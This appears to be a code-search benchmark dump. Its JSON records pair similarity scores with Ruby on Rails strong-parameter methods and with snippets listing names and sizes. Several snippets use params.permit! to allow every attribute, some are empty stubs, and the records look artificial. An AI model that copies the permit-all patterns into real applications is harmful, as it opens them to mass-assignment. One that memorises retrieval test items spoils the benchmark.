"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.6922516",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68935573",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.6785059",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.67461187",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.66838974",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.66376436",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66300017",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66284484",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.6565271",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.64915025",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64800006",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64565504",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64005226",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.638304",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.6364849",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.6342431",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6337064",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6327035",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.6322865",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.6317318",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6315771",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.63087",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.63019013",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.6300014",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.62980604",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62941355",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62941355",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.62815446",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.62744915",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.62697655",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.62576836",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.6254993",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.6254899",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.62387127",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6231534",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.6231406",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.62297785",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.62263423",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.62035394",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61931854",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.6186077",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6178427",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61650974",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.61645085",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6157358",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61568296",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.6137819",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.6136603",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.6121303",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118653",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118653",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61151344",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61149",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6104937",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6104937",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6099561",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6099561",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6089367",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.60875493",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.6087428",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.607999",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.6077648",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6070825",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.6069507",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.60685194",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60674596",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.60662246",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6065706",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60650206",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.6059533",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60525113",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60519487",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60519487",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.60488784",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.60448277",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.603711",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6033319",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.60268354",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6025215",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.60206634",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.60202366",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.6018339",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.6010405",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6010141",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6010141",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.60067576",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60061485",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.6005366",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6003972",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6003972",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6003953",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.60022324",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5999867",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5999867",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5997153",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5996786",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.5995897",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.5994552",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59927636",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
84882af85af3ed06afcb8fe201be2b48 | Your code below this Generate a list of strings with the name and size (eg. "Alpha 30") | [
{
"docid": "797577c4b7fefc70e65e8c0d0834d521",
"score": "0.57175964",
"text": "def company_information_strings companies\n companies.map { |company| \"#{company.name} - #{company.size}\"}\nend",
"title": ""
}
] | [
{
"docid": "c9e9758402cc7a0c3c29b8cb04df6342",
"score": "0.6678288",
"text": "def generate_list(name, count); end",
"title": ""
},
{
"docid": "10f479ceadea48be21813961602304ef",
"score": "0.62730736",
"text": "def pack_size_names\n return @pack_size_names if @pack_size_names\n names = @lines.inject([]) { |arr, l| arr << l[:pack_size] }.uniq.sort!\n @pack_size_names = place_blank_to_last(names)\n end",
"title": ""
},
{
"docid": "8130605980cbf369d73dc0a05d5db5fb",
"score": "0.6219532",
"text": "def name\n\t\tnames = ['', '', '', 'triangle', 'rectangle', 'pentagon', 'hexagon', 'heptagon', 'octagon', 'nonagon', 'decagon']\n\t\tif @number_of_sides <= 10\n\t\t names[@number_of_sides]\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bfe7d675bda4d23c81dc4e1eb21d3ffe",
"score": "0.6204555",
"text": "def name;\n \"#{@type}.#{@size}\"\n end",
"title": ""
},
{
"docid": "c3d0cac3fe02fd136fa84d9cdea51d86",
"score": "0.61079913",
"text": "def make_content_of_size(size)\n \"x\" * size\nend",
"title": ""
},
{
"docid": "883d8b429d5bce6b5a57f1e10e6d7251",
"score": "0.6082135",
"text": "def list_title(n=40)\n st = name[0..n].to_s\n st += \"...\" unless name.length <= n\n st\n end",
"title": ""
},
{
"docid": "737e024087e3343461384669632c7fbe",
"score": "0.60619646",
"text": "def get_size\n\t\t[\"small\", \"medium\", \"large\"].sample\n\tend",
"title": ""
},
{
"docid": "0641bed68569cfa0baee8d65fef73180",
"score": "0.6047161",
"text": "def name(size:, region:); end",
"title": ""
},
{
"docid": "f5d0ffc2a883aed6ab43bb6a1056a0e5",
"score": "0.5979736",
"text": "def generate\n name = ' ' + get_starting_letter\n # since the name already has a starting letter the total name length will\n # be one more than the selected name_length_distribution selected\n name_length_distribution = [3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 8, 9]\n desired_length = name_length_distribution.at(@random_number_generator.rand(0...12))\n\n (desired_length - 1).times do\n name += get_next_letter(name[name.length - 2], name[name.length - 1])\n end\n\n name += get_last_letter(name[name.length - 1], name[name.length - 2])\n name.lstrip.capitalize\n end",
"title": ""
},
{
"docid": "20611f5ab873588bc7c535cd3366893f",
"score": "0.59727806",
"text": "def short_names\n list_new = []\n @students.each do |student|\n if student[:name].length < 12\n list_new << student\n end\n end\n puts \"These names are shorter than 12 characters in length.\".center(70)\n print(list_new)\nend",
"title": ""
},
{
"docid": "9dd1862aefedef61e43538dc90f20059",
"score": "0.59689355",
"text": "def random_string size \n (0..size).map { ('a'..'z').to_a[rand(26)] }.join\n end",
"title": ""
},
{
"docid": "db0ed098f40ed97eeaeefc566d1b41cd",
"score": "0.59677064",
"text": "def create_list(list_name,list_of_items)\n # create empty array\n list_name = []\n # for each item in string, use add item method to add item to grocery list (set default quantity to 1)\n shopping_items = list_of_items.split(' ')\n shopping_items.each do |thing_to_add|\n add_item_to_list(list_name,thing_to_add,1)\n end\n # print the list to the console\n print_list(list_name)\nend",
"title": ""
},
{
"docid": "f8d2e35a9ee0166105e55da23eabefd4",
"score": "0.59448224",
"text": "def generate\n\t name = ' ' + get_starting_letter\n\t # since the name already has a starting letter the total name length will\n\t # be one more than the selected name_length_distribution selected\t\n\t\tname_length_distribution = [3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 8, 9]\n\t\tdesired_length = name_length_distribution.at(@random_number_generator.rand(0...12))\n\t\t\t\t\n\t\t(desired_length - 1).times do\t\t\t\t\t\t\n\t\t\tname += get_next_letter(name[name.length - 2], name[name.length - 1])\n\t\tend\n\n\t\tname += get_last_letter(name[name.length - 1], name[name.length - 2])\n name.lstrip.capitalize\n\tend",
"title": ""
},
{
"docid": "c1f25103a214731a312300ad66f6dc68",
"score": "0.59360176",
"text": "def generate_list_of_companies companies\n companies.map { |company| \"#{company.name} - #{company.size}\" }\n end",
"title": ""
},
{
"docid": "6e065865dcc4a0e8f13da92d7e460984",
"score": "0.5917764",
"text": "def pizza_size \n\tsize = [\"small\", \"medium\", \"large\", \"super\", \"giganto\"].sample # .sample randomizing all the sizes\nend",
"title": ""
},
{
"docid": "745949a231f747fc274a8d3f7f26d6a5",
"score": "0.58487517",
"text": "def create_a_list(name, quantity)\n #list = name.split(\", \")\n list_items = {}\n #list.each do |name|\n list_items[name] = quantity\n #end\n p list_items\n return list_items\nend",
"title": ""
},
{
"docid": "df10fb220a30fb0d71a97a41a5dfa1f9",
"score": "0.58402747",
"text": "def size_ls\n size_l.blank? ? '' : size_l.split(/x|\\+/)[0, 2].join('x')\nend",
"title": ""
},
{
"docid": "0576011390fe345bb0ce1127520a6ff5",
"score": "0.5787224",
"text": "def company_strings(companies)\n companies.map do |company|\n \"#{company.name} - #{company.size}\"\n end\nend",
"title": ""
},
{
"docid": "b125edc95eedef8461aa8cbccc9acad0",
"score": "0.57611686",
"text": "def initialize(name, size)\n @name = name\n @size = size\n end",
"title": ""
},
{
"docid": "1714befabe1c431e5efebef5aa6c9f64",
"score": "0.5756716",
"text": "def inspect\n \"#{size} words\"\n end",
"title": ""
},
{
"docid": "fb11d3a4b7bf4297055509354fb03a14",
"score": "0.57562554",
"text": "def namelength\n \tputs \"Choose maximum name length in characters:\"\n \tsize = gets.chomp.to_i\n \tselected_students = @students.select { |student| student[:name].length <= size}\n \tlist(selected_students)\nend",
"title": ""
},
{
"docid": "992401f4bdc3d435a7a9bf0a7d9d0440",
"score": "0.57391506",
"text": "def ship_list\n \"The Cruiser is three units long and the Submarine is two units long.\"\n end",
"title": ""
},
{
"docid": "03e2d0b708230bb8945a27fda8176d69",
"score": "0.57329077",
"text": "def name_and_size companies \n companies.each do |company|\n p \"#{company.name} - #{company.size}\" \n end \nend",
"title": ""
},
{
"docid": "4e106d1dee8dc33197341aff4c114d1c",
"score": "0.57325834",
"text": "def size\n @sizes ||= strip(:size)\n end",
"title": ""
},
{
"docid": "4febf974b9bd825323eef0420e10b09f",
"score": "0.5717537",
"text": "def build_name\n \"#{manufacturer} #{weight} #{style} #{name}\"\n end",
"title": ""
},
{
"docid": "26508489d3a663d542b64c7158e2ef89",
"score": "0.570976",
"text": "def size\n label.to_s.downcase.sub(/\\s+/,'_')\n end",
"title": ""
},
{
"docid": "d90b9bdd28cc718d3824f6a9ac75d7a7",
"score": "0.57090694",
"text": "def create_name\n colors = @colors\n first = colors.sort_by{rand}.first.split('')[0..2].sort_by{rand}.to_s\n last = colors.sort_by{rand}.last.split('')[0..2].sort_by{rand}.to_s\n return \"--- #{first}.#{@remainder}.#{last} ---\"\n end",
"title": ""
},
{
"docid": "ef0212292d0efeb28a8a2aecefbde98c",
"score": "0.5654433",
"text": "def generate_ebay_items_with_size(num, size=\"LP\", price=10.00)\n ebay_items = []\n num.times { ebay_items << Factory.create(:ebay_item, :size => size, :price => price) }\n ebay_items\n end",
"title": ""
},
{
"docid": "78ebd119e8c32515f08f7fade76656d9",
"score": "0.56448066",
"text": "def name\n\t\t\tnew_name_letters = (0...2).map { ('a'..'z').to_a[rand(26)] }.join.upcase\n\t\t\tnew_name_numbers = (0...3).map { (0..9).to_a[rand(10)] }.join\n\t\t\tnew_name = [new_name_letters, new_name_numbers].join\n\t\t\t3.times do\n\t\t\t\tputs new_name\n\t\t\tend\n\tend",
"title": ""
},
{
"docid": "3dca5da61ee1c2c4348bf915db53e5ef",
"score": "0.56444716",
"text": "def grocery_list(list)\n string=\"\"\n list.each {|item, quantity| \n string=string + item.to_s + \":\" + quantity.to_s + \" \"\n }\n return string \nend",
"title": ""
},
{
"docid": "5a9a6795c8e0ff79b69ec964caf749f2",
"score": "0.5626126",
"text": "def print_list(grocery_list)\n puts \"*\" * 40 + \"Grocery List\" + \"*\" * 40 \n grocery_list.each do |item, quantity|\n puts \"#{item.capitalize}\".ljust(30) + \"#{quantity}\".rjust(10)\n\n end\n end",
"title": ""
},
{
"docid": "ebb8464e18eaa75e265caa4dc37159de",
"score": "0.5620374",
"text": "def three_sizes\n \"#{object.bust}-#{object.waist}-#{object.hip}\"\n end",
"title": ""
},
{
"docid": "a341b418ec00acd601e1052cc8038421",
"score": "0.56193346",
"text": "def name(names)\n names.sample\nend",
"title": ""
},
{
"docid": "4695cfe897b7573f415fafcb0da4d458",
"score": "0.5609357",
"text": "def print_list(list)\r\n puts \"GROCERY LIST\"\r\n list.each do | item, quantity |\r\n puts \"#{item.capitalize}: #{quantity}\"\r\n end\r\nend",
"title": ""
},
{
"docid": "b0306784614811000efe2cc795ed54bf",
